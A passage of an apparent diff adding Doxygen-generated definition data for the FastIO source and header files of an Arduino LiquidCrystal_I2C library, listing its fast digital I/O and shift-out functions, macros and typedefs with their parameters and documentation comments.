+_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '36'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '161'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '111'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a7ac8b242e7e3cacf175e481889e047dd'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '265'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5b4d1684030dc620938b7c2fbdf5ced8'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '192'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '182'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '177'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_fast_i_o_8h'; + file-name = 'FastIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a04971fe5fabe4129736708c494e08e6d'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_BLOCK'; + define-mem-param = { + define-mem-def-name = 'dummy'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +if(true) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '58'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a362c18b15a09703e42e1c246c47420ef'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_RESTORESTATE'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '59'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a89e1c62276052100c62b6c82a2e95622'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_HIGH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,HIGH) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '143'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + This is where the magic happens that makes things fast. + Implemented as preprocessor directives to force inlining + SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1ac8f00a1bccb98109531b88fbb6e91478'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_LOW'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,LOW) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '144'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a6d1dffed7f0c8f28f6c88146315f7832'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit, !digitalRead(bit)) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '145'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1accae9687fdfc5f3492fb6344d62eb190'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCHTO'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'val'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,val); +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '146'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a32f90d0ad5c1295c97cc1e79936aadd6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FIO_FALLBACK'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '57'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a688a4adbb87520a2b68681bd6bfb199e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SKIP'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x23 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + typedef = { + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1a0a595a88b29bcfd1540b6fac75787937'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_bit'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '60'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1ae44ea3af54ef26db03f1ae2ea62f9c1f'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_register'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '61'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a197336e47e1c3f929056ce3abbbc7e8d'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '158'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '128'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '115'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '106'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a385ae40d960c1a57e86818332476a802'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LOW +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '97'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '184'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '172'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a33ce251dcd6b448185cda415a99001cf'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = 